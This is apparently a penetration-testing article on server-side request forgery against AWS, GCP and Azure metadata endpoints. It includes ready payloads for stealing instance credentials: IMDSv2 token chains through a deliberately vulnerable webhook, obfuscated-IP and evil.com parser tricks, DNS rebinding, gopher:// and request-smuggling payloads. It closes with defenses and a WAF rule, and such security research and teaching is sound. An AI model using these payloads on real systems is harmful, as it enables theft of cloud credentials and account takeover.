/ WEB EXPLOITATION · SSRF AGAINST CLOUD METADATA IN 2026 — IMDSV2, PARSER CONFUSION, AND DNS REBINDING
— · — · — v 4.2 · MMXXVI

SSRF against cloud metadata in 2026 — IMDSv2, parser confusion, and DNS rebinding

AWS shipped IMDSv2, GCP requires Metadata-Flavor, Azure runs on a non-routable IP. Modern SSRF still reaches all three — through parser confusion, DNS rebinding, and the fact that almost every URL parser disagrees with itself.

Scope. Authorized testing only. Every metadata endpoint discussed is legitimately reachable from inside the cloud accounts I tested under written permission. The bypasses are real techniques used in pentests; the targets are not.

The 2019 Capital One breach put cloud metadata SSRF on every threat model. Cloud providers responded with mitigations:

  • AWS introduced IMDSv2, requiring a session token via PUT request before any read.
  • GCP required the Metadata-Flavor: Google request header.
  • Azure moved metadata to 169.254.169.254 with a required Metadata: true header on top of that.

These mitigations broke the simplest SSRF payloads but didn’t remove the attack surface — they raised the bar. In 2026 we have a new generation of bypasses that defeat these mitigations under realistic SSRF conditions, plus a renewed appreciation for the fact that URL parsers disagree with each other in ways that almost always favor the attacker.

This post is the working playbook: what the metadata endpoints expose now, why “just block 169.254.169.254” doesn’t work, and the chains that reach each cloud’s IMDS in the presence of modern defenses.

What’s at the metadata endpoint, still?

A reminder of why we care:

AWS (http://169.254.169.254/latest/meta-data/):

  • iam/security-credentials/<role-name>temporary IAM credentials for the role attached to the instance. The crown jewels.
  • user-data — the launch script. Often contains hardcoded API keys, DB creds.
  • instance-identity/document — signed identity document, useful for forging.

GCP (http://metadata.google.internal/computeMetadata/v1/):

  • instance/service-accounts/default/token — an OAuth2 access token for the bound service account.
  • instance/attributes/ — including kube-env, which on GKE often contains kubelet credentials.

Azure (http://169.254.169.254/metadata/identity/oauth2/token?...):

  • The token endpoint returns an Azure AD access token for any registered managed identity.
  • instance/compute/vmId — for cross-correlation.

In every case, the prize is stealing a credential that is scoped to whatever the workload is allowed to do. From there, the cloud-side post-exploitation is the actual engagement. SSRF is the foothold.

IMDSv2 — what it actually requires

The flow:

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

→ <SESSION_TOKEN>

GET /latest/meta-data/iam/security-credentials/<role>
Host: 169.254.169.254
X-aws-ec2-metadata-token: <SESSION_TOKEN>

The two requirements:

  1. The first request is a PUT (or OPTIONS).
  2. Subsequent reads carry the X-aws-ec2-metadata-token header.

This breaks naive SSRF where the attacker controls only a URL string, because the vulnerable HTTP client does a GET and the SSRF doesn’t let you set arbitrary headers. The mitigation works for that specific class of SSRF.

It does not work if:

  • The vulnerable client lets you specify the HTTP method (e.g., GraphQL webhook features, server-side fetch APIs).
  • The vulnerable client lets you specify headers (most “build a custom webhook” features do).
  • You can chain through a CRLF injection to inject the PUT and headers inline.
  • The instance has IMDSv2 set to optional (HttpTokens: optional) — which is still the default for many older AMIs and Terraform modules.

In 2026, the realistic distribution is roughly:

  • ~60% of AWS workloads enforce IMDSv2 strictly (HttpTokens: required).
  • ~30% allow both v1 and v2 (optional).
  • ~10% are still v1-only (legacy AMIs, ECS task definitions that haven’t been touched).

If the engagement target is in the 60%, you need a different vector. If it’s in the 40%, the textbook SSRF still works.

Vector 1 — exploiting HttpTokens: optional

Even with v2 available, an instance configured with optional will respond to v1 requests. The simplest possible SSRF still works:

GET /latest/meta-data/iam/security-credentials/<role-name>

How to know if the target is optional: send the v1 request and see what you get. A 401 Unauthorized means strict v2; a 200 with credentials means v1 is enabled.

This is the trivial case but it’s worth saying explicitly because too many pentest reports skip v1 testing once they hear “they enabled IMDSv2.” Always test both.

Vector 2 — full HTTP control via a server-side fetch feature

The vulnerable pattern is anywhere the app exposes HTTP-method/header control:

# A vulnerable webhook implementation
@app.post("/webhook")
def webhook():
    target = request.json["url"]
    method = request.json.get("method", "GET")
    headers = request.json.get("headers", {})
    body = request.json.get("body", "")
    return requests.request(method, target, headers=headers, data=body).text

The IMDSv2 chain:

POST /webhook
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/api/token",
  "method": "PUT",
  "headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
}

Save the returned token, then a second request:

POST /webhook
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role",
  "headers": {"X-aws-ec2-metadata-token": "<TOKEN>"}
}

Credentials returned. The server-side webhook is more common than people realize — Slack-integration features, Zapier-style outbound triggers, “send to my custom URL” preferences. These are SSRF-by-design and the default deny-list (block 169.254.0.0/16) is what should be there but often isn’t.

Vector 3 — URL-parser confusion

This is where SSRF becomes an art form. Almost every URL parser has subtle quirks, and the parser doing the deny-list check is often a different parser than the one resolving the actual request.

The classic example:

http://169.254.169.254@evil.com/path

Some parsers see 169.254.169.254 as the username, evil.com as the host. Others see 169.254.169.254@evil.com as a malformed hostname and try to resolve it. The deny-list checker says “host is evil.com, allowed”; the requester says “host is 169.254.169.254, here we go.” Bypass.

The 2026 version uses Unicode normalization:

http://169.254.169.254%2523@evil.com/
http://①⑥⑨.②⑤④.①⑥⑨.②⑤④/         (full-width digits)
http://0x.0x.0x.0xa9fea9fe/         (hex IP)
http://2852039166/                   (integer IP)
http://0251.0376.0251.0376/         (octal IP)

The integer-IP form is particularly nasty. 2852039166 decimal equals 169.254.169.254 as a 32-bit unsigned int, and Python’s socket.inet_aton happily accepts it. Most deny-list checks, written in regex against 169.254.169.254, miss it entirely.

The complete URL-parser quirk reference (worth memorizing):

Form Resolves to
2852039166 169.254.169.254 (decimal IP)
0xa9fea9fe 169.254.169.254 (hex IP)
0251.0376.0251.0376 169.254.169.254 (octal)
169.254.169.254.nip.io DNS to 169.254.169.254
169.254.169.254.localhost depends on /etc/hosts
169.254.169.254\\.evil.com parsed differently across libs
169.254.169.254%23.evil.com URL fragment ambiguity

A good SSRF payload list contains all of these. Burp’s built-in SSRF list misses several.

Vector 4 — DNS rebinding for the time-of-check window

The pattern: deny-list checks the host’s IP once before making the request. Between the check and the request, the DNS record changes.

The setup:

  1. Attacker controls evil.com and its NS records.
  2. Attacker configures the evil.com zone to return a different IP on alternating queries: first query returns a public IP, second returns 169.254.169.254.
  3. SSRF target requests evil.com. The deny-list check resolves it, gets the public IP, allows it. The HTTP fetch resolves it again — gets 169.254.169.254.

Reference DNS rebinding service: rbndr.us. Hostname 7f000001.a9fea9fe.rbndr.us returns 127.0.0.1 and 169.254.169.254 alternating.

This works against any deny-list that does a single DNS lookup before the request. The fix is to either (a) cache the DNS result and use the resolved IP for the fetch, or (b) hook into the HTTP client to verify the post-resolution IP.

In 2026, most webhook implementations get this wrong. Specifically:

  • requests (Python) — does the deny-list check on urlparse(url).hostname, then re-resolves DNS at fetch time. Vulnerable.
  • axios (Node.js) — same pattern. Vulnerable.
  • net/http (Go) — same pattern unless you use a custom Dialer with pinned DNS. Vulnerable by default.

Vector 5 — gopher:// and other protocol smuggling

If the SSRF target is requests or any HTTP client that reaches urllib3 or libcurl, it sometimes accepts non-HTTP schemes. gopher:// in particular is the universal SSRF protocol because it lets you send arbitrary bytes:

gopher://169.254.169.254:80/_GET%20/latest/meta-data/iam/security-credentials/role%20HTTP%2F1.1%0D%0AHost%3A%20169.254.169.254%0D%0A%0D%0A

The %0D%0A (CRLF) lets you forge an entire HTTP request, including arbitrary headers. This means even on IMDSv2, you can construct the PUT request and include the X-aws-ec2-metadata-token-ttl-seconds header.

Most modern HTTP clients have disabled gopher:// by default. PHP’s curl extension will still process it if the vulnerable code calls curl_exec without restricting CURLOPT_PROTOCOLS. SSRF in old PHP codebases still hits this in 2026.

Vector 6 — request smuggling to the metadata endpoint

If the target architecture has a reverse proxy in front of the app, and you find an HTTP request smuggling primitive (CL.TE or TE.CL), you can sometimes smuggle a request to the metadata endpoint on the proxy’s back-end connection, bypassing the app entirely.

This is rare in cloud setups because the proxy usually doesn’t have a route to the metadata IP from inside its own network — but on Kubernetes clusters with sidecars and service meshes, the routing is sometimes permissive enough.

The smuggled payload looks like:

POST / HTTP/1.1
Host: app.example.com
Content-Length: 6
Transfer-Encoding: chunked

0

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: <forged>


The proxy reads the front of the request, the app reads the smuggled back, and the smuggled request fires from the app’s network position.

GCP — the Metadata-Flavor header trick

GCP’s metadata endpoint requires Metadata-Flavor: Google on every request. This is checked strictly — without the header, the endpoint returns 403.

Vector 1 (header injection): same as AWS — if the SSRF lets you set headers, add Metadata-Flavor: Google.

Vector 2 (URL-parser confusion): the GCP metadata host is metadata.google.internal, which resolves to 169.254.169.254. URL-parser quirks against the IP work. URL-parser quirks against the DNS name only work if the deny-list is regex-based (“doesn’t contain ‘metadata.google.internal’”) rather than IP-based.

Vector 3 (gopher protocol): same as AWS. gopher://metadata.google.internal:80/ with a forged request including the required header.

Azure — the Metadata: true header

Same shape as GCP. The endpoint is 169.254.169.254/metadata/identity/oauth2/token, the required header is Metadata: true, and the trick is to either inject the header (vector 1) or smuggle it via gopher:// (vector 3).

A specific Azure quirk: the token endpoint takes a resource query parameter that determines the audience of the issued token:

GET /metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Host: 169.254.169.254
Metadata: true

After getting the token, you can call https://management.azure.com/ with it to enumerate the subscription, list VMs, list storage accounts, etc. Azure’s Resource Manager API is the post-exploitation universe.

Detection from the defender side

Listed roughly in order of effectiveness:

  1. Enforce IMDSv2 with HttpTokens: required. This is the single most impactful change. It blocks vectors 1, and forces vectors 2–6 into the harder paths.

  2. Don’t use deny-lists. Use allow-lists. A webhook feature that needs to call out should be configured with a list of allowed domains, not a list of disallowed ones. Allow-lists make URL-parser quirks irrelevant because the host has to be a registered allowed value.

  3. Validate the resolved IP at fetch time, not parse time. This kills DNS rebinding. Specifically: resolve the hostname, check the resulting IP against the deny-list, and pass the IP (not the hostname) to the HTTP client.

  4. Block egress to metadata endpoints at the network layer. AWS lets you set HttpEndpoint: disabled on instances that don’t need IMDS. On Kubernetes, you can use a NetworkPolicy to block pod-to-metadata traffic. This is the catch-all that protects against vectors you haven’t thought of yet.

  5. Restrict IAM role permissions. SSRF gives the attacker the instance’s IAM role. If the role has * permissions, the engagement ends with full account compromise. If the role has the minimum needed permissions, the engagement ends with limited blast radius. Least privilege is a control.

A WAF rule that catches the boring 80%

SecRule ARGS|REQUEST_HEADERS "@rx (?:169\.254\.169\.254|metadata\.google\.internal|2852039166|0xa9fea9fe|0251\.0376\.0251\.0376)" \
    "id:9100,phase:1,deny,status:403,msg:'SSRF metadata fingerprint'"

This catches the literal string forms in URLs and headers. It will not catch DNS rebinding or URL-parser confusion paths — but most automated SSRF scanners give up after the literal forms fail. As with the SSTI WAF rule: this raises the floor without claiming to be the wall.

Field notes from recent engagements

Three patterns I’ve seen in the last year that aren’t in the textbook:

  1. PDF generation as the SSRF vector. App generates PDFs from user-supplied HTML. The HTML can include <img src="...">, and the PDF library (wkhtmltopdf, Puppeteer, Playwright) fetches the image. The fetcher has full network reachability from the app’s pod. Path to metadata: drop in <img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/role"> and read the rendered PDF. The “image” is the JSON response, embedded as binary garbage but readable.

  2. GraphQL @requires(fields: "url") directive. A GraphQL service had a directive that fetched a URL during query resolution. The deny-list was regex against 169.254.169.254. Worked for the literal form; failed against integer IP. Engagement: 30 minutes from discovery to AWS console.

  3. K8s sidecar metadata exposure. A workload had Istio injected. The sidecar inherited the pod’s service-account token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. SSRF inside the sidecar’s debug endpoint exposed the token, which had cluster-wide read permissions. The IMDS angle was almost incidental — the Kubernetes service-account token was the actual prize.

Tooling

  • Burp Suite Pro with Collaborator for the DNS-rebinding and out-of-band pieces. Always make the SSRF target hit a Collaborator endpoint first to confirm it’s actually firing.
  • SSRFmap — the canonical SSRF exploitation tool. Useful as both an exploit framework and a fingerprinting reference.
  • rbndr.us — public DNS rebinding service. Don’t use it in production testing; spin up your own.
  • curl’s --resolve flag — lets you simulate the IMDS endpoint locally for testing payloads without hitting an actual cloud instance.
  • A list of URL-parser quirks — keep one. Mine has ~40 entries; the Burp built-in list has ~12.

Further reading

  • AWS IMDSv2 documentation — read the actual specification, not blog summaries. The exact tuple (method=PUT, path=/latest/api/token, header=...) matters.
  • The WHATWG URL specification — explains why every parser disagrees.
  • Orange Tsai’s SSRF research — particularly the CRLF injection and protocol smuggling pieces. Foundational reading.
  • The requests library source for prepare_request — read the actual hostname-extraction code to see the parser quirks in situ.

The point. IMDSv2, Metadata-Flavor, and Metadata: true are all “raise the floor” mitigations, not “build the wall.” The actual wall is allow-lists, IAM least privilege, and network-level egress controls on metadata endpoints. SSRF in 2026 is a chain — defense has to be a chain too.